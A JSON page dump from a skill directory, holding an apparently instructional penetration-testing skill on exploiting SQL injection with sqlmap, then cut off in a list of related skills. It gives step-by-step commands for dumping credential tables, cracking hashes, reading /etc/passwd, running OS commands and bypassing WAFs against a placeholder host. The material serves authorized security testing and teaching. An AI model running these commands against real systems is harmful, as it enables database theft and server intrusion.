[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AEQS8B6WSV0YS0NGM3ESYD":3,"skill-same:01M6AEQS8B6WSV0YS0NGM3ESYD":144},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":34,"publishedAt":55,"linkOnly":56,"markdownContent":57,"markdownBody":58,"frontMatter":59,"refName":75,"commitSha":76,"skillDirectory":77,"forksCount":78,"repositoryHtmlUrl":79,"repositoryHomepageUrl":80,"ownerHtmlUrl":81,"ownerBlogUrl":82,"ownerDescription":83,"updatedAt":84,"install":85,"resources":98},"01M6AEQS8B6WSV0YS0NGM3ESYD","exploiting-sql-injection-with-sqlmap",null,"Detecting and exploiting SQL injection vulnerabilities using sqlmap to extract database contents during authorized penetration tests.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",35990,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-sql-injection-with-sqlmap\u002FSKILL.md",[18,23,26,29],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000010","后端与接口",{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",{"categoryNo":30,"categoryName":31,"taxonomyType":32,"taxonomyTypeDesc":33},"01JBSEEDCAT000000000000033","数据分析师","PROFESSION","适用职业",[35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54],"exploiting sql injection with sqlmap","sqlmap","sql","injection","t1055","exploiting sql injection vulnerabilities","SQL-injection","database-security","web-security","t1059","web-application-security","testing","owasp","penetration-testing","database","pr","web","vulnerabilities","cybersecurity","security","2026-11-10 10:12:30",false,"---\nname: exploiting-sql-injection-with-sqlmap\ndescription: Detecting and exploiting SQL injection vulnerabilities using sqlmap to\n  extract database contents during authorized penetration tests.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- penetration-testing\n- sql-injection\n- sqlmap\n- owasp\n- database-security\n- web-security\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1055\n---\n\n# Exploiting SQL Injection with sqlmap\n\n## When to Use\n\n- During authorized web application penetration testing engagements\n- When manual testing reveals potential SQL injection points in parameters, headers, or cookies\n- For validating SQL injection findings from automated scanners like Burp Suite or OWASP ZAP\n- When you need to demonstrate the impact of SQL injection by extracting data from backend databases\n- During CTF challenges involving SQL injection exploitation\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement (Rules of Engagement) for the target\n- **sqlmap**: Install via `pip install sqlmap` or `apt install sqlmap` on Kali Linux\n- **Python 3.6+**: Required runtime for sqlmap\n- **Burp Suite** (optional): For capturing and replaying HTTP requests\n- **Target access**: Network connectivity to the target web application\n- **Browser with proxy**: Firefox with FoxyProxy for intercepting requests\n\n## Workflow\n\n### Step 1: Identify Potential Injection Points\n\nManually browse the application and identify parameters that interact with the database. Use Burp Suite to capture requests.\n\n```bash\n# Start Burp Suite proxy and capture requests\n# Look for parameters in URLs, POST bodies, cookies, and headers\n# Example target URL with a suspected injectable parameter:\n# https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\n\n# Test manually for basic SQL injection indicators\ncurl -k \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1'\"\n# Look for SQL error messages like:\n# - \"You have an error in your SQL syntax\"\n# - \"ORA-01756: quoted string not properly terminated\"\n# - \"Microsoft SQL Native Client error\"\n```\n\n### Step 2: Run sqlmap Basic Detection Scan\n\nLaunch sqlmap against the suspected injection point to confirm the vulnerability and identify the database type.\n\n```bash\n# Basic GET parameter test\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" --batch --random-agent\n\n# For POST requests (save the request from Burp Suite to a file)\nsqlmap -r request.txt --batch --random-agent\n\n# Test specific parameter in a POST request\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Flogin\" \\\n  --data=\"username=admin&password=test\" \\\n  -p \"username\" --batch --random-agent\n\n# Test with cookie-based injection\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fdashboard\" \\\n  --cookie=\"session=abc123; user_id=5\" \\\n  -p \"user_id\" --batch --random-agent\n```\n\n### Step 3: Enumerate Database Structure\n\nOnce injection is confirmed, enumerate databases, tables, and columns.\n\n```bash\n# List all databases\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" --dbs --batch --random-agent\n\n# List tables in a specific database\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" \\\n  -D target_db --tables --batch --random-agent\n\n# List columns in a specific table\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" \\\n  -D target_db -T users --columns --batch --random-agent\n```\n\n### Step 4: Extract Data from Target Tables\n\nDump the contents of sensitive tables to demonstrate impact.\n\n```bash\n# Dump specific columns from a table\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" \\\n  -D target_db -T users -C \"username,password,email\" \\\n  --dump --batch --random-agent\n\n# Dump with row limit to avoid excessive data extraction\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" \\\n  -D target_db -T users --dump --start=1 --stop=10 \\\n  --batch --random-agent\n\n# Attempt to crack password hashes automatically\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" \\\n  -D target_db -T users -C \"username,password\" \\\n  --dump --batch --passwords --random-agent\n```\n\n### Step 5: Test for Advanced Exploitation Vectors\n\nAssess the full impact by testing OS-level access and file operations.\n\n```bash\n# Check current database user and privileges\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" \\\n  --current-user --current-db --is-dba --batch --random-agent\n\n# Attempt to read server files (if DBA privileges exist)\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" \\\n  --file-read=\"\u002Fetc\u002Fpasswd\" --batch --random-agent\n\n# Attempt OS command execution (MySQL with FILE privilege)\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" \\\n  --os-cmd=\"whoami\" --batch --random-agent\n```\n\n### Step 6: Use Tamper Scripts to Bypass WAF\u002FFilters\n\nWhen Web Application Firewalls or input filters block basic payloads, use tamper scripts.\n\n```bash\n# Common tamper scripts for WAF bypass\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" \\\n  --tamper=\"space2comment,between,randomcase\" \\\n  --batch --random-agent\n\n# For specific WAF bypass (e.g., ModSecurity)\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" \\\n  --tamper=\"modsecurityversioned,modsecurityzeroversioned\" \\\n  --batch --random-agent\n\n# List all available tamper scripts\nsqlmap --list-tampers\n```\n\n### Step 7: Generate Report and Clean Up\n\nDocument findings and clean up any artifacts.\n\n```bash\n# sqlmap stores results in ~\u002F.local\u002Fshare\u002Fsqlmap\u002Foutput\u002F\n# Review the target output directory\nls -la ~\u002F.local\u002Fshare\u002Fsqlmap\u002Foutput\u002Ftarget.example.com\u002F\n\n# Export results with specific output directory\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" \\\n  -D target_db -T users --dump \\\n  --output-dir=\"\u002Ftmp\u002Fpentest-results\" \\\n  --batch --random-agent\n\n# Clean sqlmap session data after engagement\nsqlmap --purge\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Union-based SQLi** | Uses UNION SELECT to append attacker query results to the original query output |\n| **Blind Boolean SQLi** | Infers data one bit at a time by observing true\u002Ffalse application responses |\n| **Blind Time-based SQLi** | Uses database sleep functions (e.g., `SLEEP(5)`) to infer data based on response delays |\n| **Error-based SQLi** | Extracts data through verbose database error messages returned in HTTP responses |\n| **Stacked Queries** | Executes multiple SQL statements separated by semicolons for INSERT\u002FUPDATE\u002FDELETE operations |\n| **Out-of-band SQLi** | Exfiltrates data via DNS or HTTP requests initiated by the database server |\n| **Tamper Scripts** | sqlmap plugins that modify payloads to bypass WAFs and input sanitization filters |\n| **Second-order SQLi** | Injected payload is stored and executed later in a different query context |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **sqlmap** | Automated SQL injection detection and exploitation framework |\n| **Burp Suite Professional** | HTTP proxy for intercepting, modifying, and replaying requests |\n| **OWASP ZAP** | Free alternative to Burp for web application scanning and proxying |\n| **Havij** | Automated SQL injection tool with GUI (Windows) |\n| **jSQL Injection** | Java-based GUI tool for SQL injection testing |\n| **DBeaver\u002FDataGrip** | Database clients for verifying extracted data structure |\n\n## Common Scenarios\n\n### Scenario 1: E-commerce Product Page SQLi\nA product detail page uses `id` parameter directly in SQL query. Use sqlmap to extract the full customer database including payment information to demonstrate critical business impact.\n\n### Scenario 2: Login Form Bypass\nA login form concatenates user input into an authentication query. Exploit to bypass authentication and enumerate all user credentials stored in the database.\n\n### Scenario 3: Search Function with WAF Protection\nA search feature is vulnerable to SQL injection but protected by a WAF. Use tamper scripts like `space2comment` and `between` to encode payloads and bypass the filter rules.\n\n### Scenario 4: Cookie-based Blind SQL Injection\nA session cookie value is used in a database query on the server side. Use time-based blind injection techniques to extract data character by character.\n\n## Output Format\n\n```\n## SQL Injection Finding\n\n**Vulnerability**: SQL Injection (Union-based)\n**Severity**: Critical (CVSS 9.8)\n**Location**: GET parameter `id` at \u002Fproducts?id=1\n**Database**: MySQL 8.0.32\n**Impact**: Full database read access, 15,000 user records exposed\n**OWASP Category**: A03:2021 - Injection\n\n### Evidence\n- Injection point: `id` parameter (GET)\n- Technique: UNION query-based\n- Backend DBMS: MySQL >= 5.0\n- Current user: app_user@localhost\n- DBA privileges: No\n\n### Databases Enumerated\n1. information_schema\n2. target_app_db\n3. mysql\n\n### Sensitive Data Exposed\n- Table: users (15,247 rows)\n- Columns: id, username, email, password_hash, created_at\n\n### Recommendation\n1. Use parameterized queries (prepared statements) for all database interactions\n2. Implement input validation with allowlists for expected data types\n3. Apply least-privilege database permissions for the application user\n4. Deploy a Web Application Firewall as defense-in-depth\n5. Enable database query logging and monitoring for anomalous patterns\n```\n","# Exploiting SQL Injection with sqlmap\n\n## When to Use\n\n- During authorized web application penetration testing engagements\n- When manual testing reveals potential SQL injection points in parameters, headers, or cookies\n- For validating SQL injection findings from automated scanners like Burp Suite or OWASP ZAP\n- When you need to demonstrate the impact of SQL injection by extracting data from backend databases\n- During CTF challenges involving SQL injection exploitation\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement (Rules of Engagement) for the target\n- **sqlmap**: Install via `pip install sqlmap` or `apt install sqlmap` on Kali Linux\n- **Python 3.6+**: Required runtime for sqlmap\n- **Burp Suite** (optional): For capturing and replaying HTTP requests\n- **Target access**: Network connectivity to the target web application\n- **Browser with proxy**: Firefox with FoxyProxy for intercepting requests\n\n## Workflow\n\n### Step 1: Identify Potential Injection Points\n\nManually browse the application and identify parameters that interact with the database. Use Burp Suite to capture requests.\n\n```bash\n# Start Burp Suite proxy and capture requests\n# Look for parameters in URLs, POST bodies, cookies, and headers\n# Example target URL with a suspected injectable parameter:\n# https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\n\n# Test manually for basic SQL injection indicators\ncurl -k \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1'\"\n# Look for SQL error messages like:\n# - \"You have an error in your SQL syntax\"\n# - \"ORA-01756: quoted string not properly terminated\"\n# - \"Microsoft SQL Native Client error\"\n```\n\n### Step 2: Run sqlmap Basic Detection Scan\n\nLaunch sqlmap against the suspected injection point to confirm the vulnerability and identify the database type.\n\n```bash\n# Basic GET parameter test\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" --batch --random-agent\n\n# For POST requests (save the request from Burp Suite to a file)\nsqlmap -r request.txt --batch --random-agent\n\n# Test specific parameter in a POST request\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Flogin\" \\\n  --data=\"username=admin&password=test\" \\\n  -p \"username\" --batch --random-agent\n\n# Test with cookie-based injection\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fdashboard\" \\\n  --cookie=\"session=abc123; user_id=5\" \\\n  -p \"user_id\" --batch --random-agent\n```\n\n### Step 3: Enumerate Database Structure\n\nOnce injection is confirmed, enumerate databases, tables, and columns.\n\n```bash\n# List all databases\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" --dbs --batch --random-agent\n\n# List tables in a specific database\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" \\\n  -D target_db --tables --batch --random-agent\n\n# List columns in a specific table\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" \\\n  -D target_db -T users --columns --batch --random-agent\n```\n\n### Step 4: Extract Data from Target Tables\n\nDump the contents of sensitive tables to demonstrate impact.\n\n```bash\n# Dump specific columns from a table\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" \\\n  -D target_db -T users -C \"username,password,email\" \\\n  --dump --batch --random-agent\n\n# Dump with row limit to avoid excessive data extraction\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" \\\n  -D target_db -T users --dump --start=1 --stop=10 \\\n  --batch --random-agent\n\n# Attempt to crack password hashes automatically\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" \\\n  -D target_db -T users -C \"username,password\" \\\n  --dump --batch --passwords --random-agent\n```\n\n### Step 5: Test for Advanced Exploitation Vectors\n\nAssess the full impact by testing OS-level access and file operations.\n\n```bash\n# Check current database user and privileges\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" \\\n  --current-user --current-db --is-dba --batch --random-agent\n\n# Attempt to read server files (if DBA privileges exist)\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" \\\n  --file-read=\"\u002Fetc\u002Fpasswd\" --batch --random-agent\n\n# Attempt OS command execution (MySQL with FILE privilege)\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" \\\n  --os-cmd=\"whoami\" --batch --random-agent\n```\n\n### Step 6: Use Tamper Scripts to Bypass WAF\u002FFilters\n\nWhen Web Application Firewalls or input filters block basic payloads, use tamper scripts.\n\n```bash\n# Common tamper scripts for WAF bypass\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" \\\n  --tamper=\"space2comment,between,randomcase\" \\\n  --batch --random-agent\n\n# For specific WAF bypass (e.g., ModSecurity)\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" \\\n  --tamper=\"modsecurityversioned,modsecurityzeroversioned\" \\\n  --batch --random-agent\n\n# List all available tamper scripts\nsqlmap --list-tampers\n```\n\n### Step 7: Generate Report and Clean Up\n\nDocument findings and clean up any artifacts.\n\n```bash\n# sqlmap stores results in ~\u002F.local\u002Fshare\u002Fsqlmap\u002Foutput\u002F\n# Review the target output directory\nls -la ~\u002F.local\u002Fshare\u002Fsqlmap\u002Foutput\u002Ftarget.example.com\u002F\n\n# Export results with specific output directory\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" \\\n  -D target_db -T users --dump \\\n  --output-dir=\"\u002Ftmp\u002Fpentest-results\" \\\n  --batch --random-agent\n\n# Clean sqlmap session data after engagement\nsqlmap --purge\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Union-based SQLi** | Uses UNION SELECT to append attacker query results to the original query output |\n| **Blind Boolean SQLi** | Infers data one bit at a time by observing true\u002Ffalse application responses |\n| **Blind Time-based SQLi** | Uses database sleep functions (e.g., `SLEEP(5)`) to infer data based on response delays |\n| **Error-based SQLi** | Extracts data through verbose database error messages returned in HTTP responses |\n| **Stacked Queries** | Executes multiple SQL statements separated by semicolons for INSERT\u002FUPDATE\u002FDELETE operations |\n| **Out-of-band SQLi** | Exfiltrates data via DNS or HTTP requests initiated by the database server |\n| **Tamper Scripts** | sqlmap plugins that modify payloads to bypass WAFs and input sanitization filters |\n| **Second-order SQLi** | Injected payload is stored and executed later in a different query context |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **sqlmap** | Automated SQL injection detection and exploitation framework |\n| **Burp Suite Professional** | HTTP proxy for intercepting, modifying, and replaying requests |\n| **OWASP ZAP** | Free alternative to Burp for web application scanning and proxying |\n| **Havij** | Automated SQL injection tool with GUI (Windows) |\n| **jSQL Injection** | Java-based GUI tool for SQL injection testing |\n| **DBeaver\u002FDataGrip** | Database clients for verifying extracted data structure |\n\n## Common Scenarios\n\n### Scenario 1: E-commerce Product Page SQLi\nA product detail page uses `id` parameter directly in SQL query. Use sqlmap to extract the full customer database including payment information to demonstrate critical business impact.\n\n### Scenario 2: Login Form Bypass\nA login form concatenates user input into an authentication query. Exploit to bypass authentication and enumerate all user credentials stored in the database.\n\n### Scenario 3: Search Function with WAF Protection\nA search feature is vulnerable to SQL injection but protected by a WAF. Use tamper scripts like `space2comment` and `between` to encode payloads and bypass the filter rules.\n\n### Scenario 4: Cookie-based Blind SQL Injection\nA session cookie value is used in a database query on the server side. Use time-based blind injection techniques to extract data character by character.\n\n## Output Format\n\n```\n## SQL Injection Finding\n\n**Vulnerability**: SQL Injection (Union-based)\n**Severity**: Critical (CVSS 9.8)\n**Location**: GET parameter `id` at \u002Fproducts?id=1\n**Database**: MySQL 8.0.32\n**Impact**: Full database read access, 15,000 user records exposed\n**OWASP Category**: A03:2021 - Injection\n\n### Evidence\n- Injection point: `id` parameter (GET)\n- Technique: UNION query-based\n- Backend DBMS: MySQL >= 5.0\n- Current user: app_user@localhost\n- DBA privileges: No\n\n### Databases Enumerated\n1. information_schema\n2. target_app_db\n3. mysql\n\n### Sensitive Data Exposed\n- Table: users (15,247 rows)\n- Columns: id, username, email, password_hash, created_at\n\n### Recommendation\n1. Use parameterized queries (prepared statements) for all database interactions\n2. Implement input validation with allowlists for expected data types\n3. Apply least-privilege database permissions for the application user\n4. Deploy a Web Application Firewall as defense-in-depth\n5. Enable database query logging and monitoring for anomalous patterns\n```\n",{"name":5,"tags":60,"author":62,"domain":53,"license":15,"version":63,"nist_csf":64,"subdomain":45,"description":7,"mitre_attack":69},[48,61,36,47,42,43],"sql-injection","mahipal","1.0",[65,66,67,68],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01",[70,71,72,73,74],"T1190","T1059.007","T1505.003","T1083","T1055","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fexploiting-sql-injection-with-sqlmap",4395,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":86,"prompt":96,"zipAvailable":97},[87,90,93],{"tool":88,"command":89},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-sql-injection-with-sqlmap",{"tool":91,"command":92},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-sql-injection-with-sqlmap",{"tool":94,"command":95},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-sql-injection-with-sqlmap","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-sql-injection-with-sqlmap\u002FSKILL.md",true,[99,104,110,114,118,122,126,130,134,138],{"path":100,"resourceType":100,"resourceTypeDesc":101,"sizeBytes":102,"sourceHtmlUrl":103},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-sql-injection-with-sqlmap\u002FLICENSE",{"path":105,"resourceType":106,"resourceTypeDesc":107,"sizeBytes":108,"sourceHtmlUrl":109},"references\u002Fadhd_friendly_ui.md","REFERENCE","参考文档",8811,"https:\u002F\u002Fgithub.com\u002Fshengdabai\u002FTony-Claude-Code-Skills\u002Fblob\u002Fmain\u002Fskills\u002Frghamilton3-dotfiles\u002Fdot_claude\u002Fskills\u002Fflutter-development\u002Freferences\u002Fadhd_friendly_ui.md",{"path":111,"resourceType":106,"resourceTypeDesc":107,"sizeBytes":112,"sourceHtmlUrl":113},"references\u002Fapi-reference.md",2170,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-sql-injection-with-sqlmap\u002Freferences\u002Fapi-reference.md",{"path":115,"resourceType":106,"resourceTypeDesc":107,"sizeBytes":116,"sourceHtmlUrl":117},"references\u002Fmaterial_design_3.md",17419,"https:\u002F\u002Fgithub.com\u002Fshengdabai\u002FTony-Claude-Code-Skills\u002Fblob\u002Fmain\u002Fskills\u002Frghamilton3-dotfiles\u002Fdot_claude\u002Fskills\u002Fflutter-development\u002Freferences\u002Fmaterial_design_3.md",{"path":119,"resourceType":106,"resourceTypeDesc":107,"sizeBytes":120,"sourceHtmlUrl":121},"references\u002Fnavigation_routing.md",15504,"https:\u002F\u002Fgithub.com\u002Fshengdabai\u002FTony-Claude-Code-Skills\u002Fblob\u002Fmain\u002Fskills\u002Frghamilton3-dotfiles\u002Fdot_claude\u002Fskills\u002Fflutter-development\u002Freferences\u002Fnavigation_routing.md",{"path":123,"resourceType":106,"resourceTypeDesc":107,"sizeBytes":124,"sourceHtmlUrl":125},"references\u002Fperformance_optimization.md",17040,"https:\u002F\u002Fgithub.com\u002Fshengdabai\u002FTony-Claude-Code-Skills\u002Fblob\u002Fmain\u002Fskills\u002Frghamilton3-dotfiles\u002Fdot_claude\u002Fskills\u002Fflutter-development\u002Freferences\u002Fperformance_optimization.md",{"path":127,"resourceType":106,"resourceTypeDesc":107,"sizeBytes":128,"sourceHtmlUrl":129},"references\u002Fplatform_specific.md",17382,"https:\u002F\u002Fgithub.com\u002Fshengdabai\u002FTony-Claude-Code-Skills\u002Fblob\u002Fmain\u002Fskills\u002Frghamilton3-dotfiles\u002Fdot_claude\u002Fskills\u002Fflutter-development\u002Freferences\u002Fplatform_specific.md",{"path":131,"resourceType":106,"resourceTypeDesc":107,"sizeBytes":132,"sourceHtmlUrl":133},"references\u002Fstate_management.md",13519,"https:\u002F\u002Fgithub.com\u002Fshengdabai\u002FTony-Claude-Code-Skills\u002Fblob\u002Fmain\u002Fskills\u002Frghamilton3-dotfiles\u002Fdot_claude\u002Fskills\u002Fflutter-development\u002Freferences\u002Fstate_management.md",{"path":135,"resourceType":106,"resourceTypeDesc":107,"sizeBytes":136,"sourceHtmlUrl":137},"references\u002Fwidget_composition.md",18637,"https:\u002F\u002Fgithub.com\u002Fshengdabai\u002FTony-Claude-Code-Skills\u002Fblob\u002Fmain\u002Fskills\u002Frghamilton3-dotfiles\u002Fdot_claude\u002Fskills\u002Fflutter-development\u002Freferences\u002Fwidget_composition.md",{"path":139,"resourceType":140,"resourceTypeDesc":141,"sizeBytes":142,"sourceHtmlUrl":143},"scripts\u002Fagent.py","SCRIPT","脚本",8335,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-sql-injection-with-sqlmap\u002Fscripts\u002Fagent.py",[145,170,194,219,245,271],{"skillNo":146,"name":147,"nameZh":6,"description":148,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":149,"categories":150,"keywords":152,"publishedAt":55},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[151],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[153,154,155,156,54,53,157,158,50,159,160,161,162,163,164,165,166,167,168,169],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","incident response","identity","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":171,"name":172,"nameZh":6,"description":173,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":174,"categories":175,"keywords":177,"publishedAt":55},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[176],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[178,166,179,180,54,181,53,50,182,183,184,185,186,187,188,189,190,191,192,193],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":195,"name":196,"nameZh":6,"description":197,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":198,"categories":199,"keywords":202,"publishedAt":55},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[200,201],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[188,203,204,205,46,53,206,207,182,208,209,210,211,212,213,214,215,216,217,218],"backup","recovery","validating backup integrity for recovery","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":220,"name":221,"nameZh":6,"description":222,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":223,"categories":224,"keywords":226,"publishedAt":55},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[225],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[227,228,229,53,230,231,232,233,234,235,236,237,238,239,240,241,185,242,243,244],"windows","kape","triaging windows with 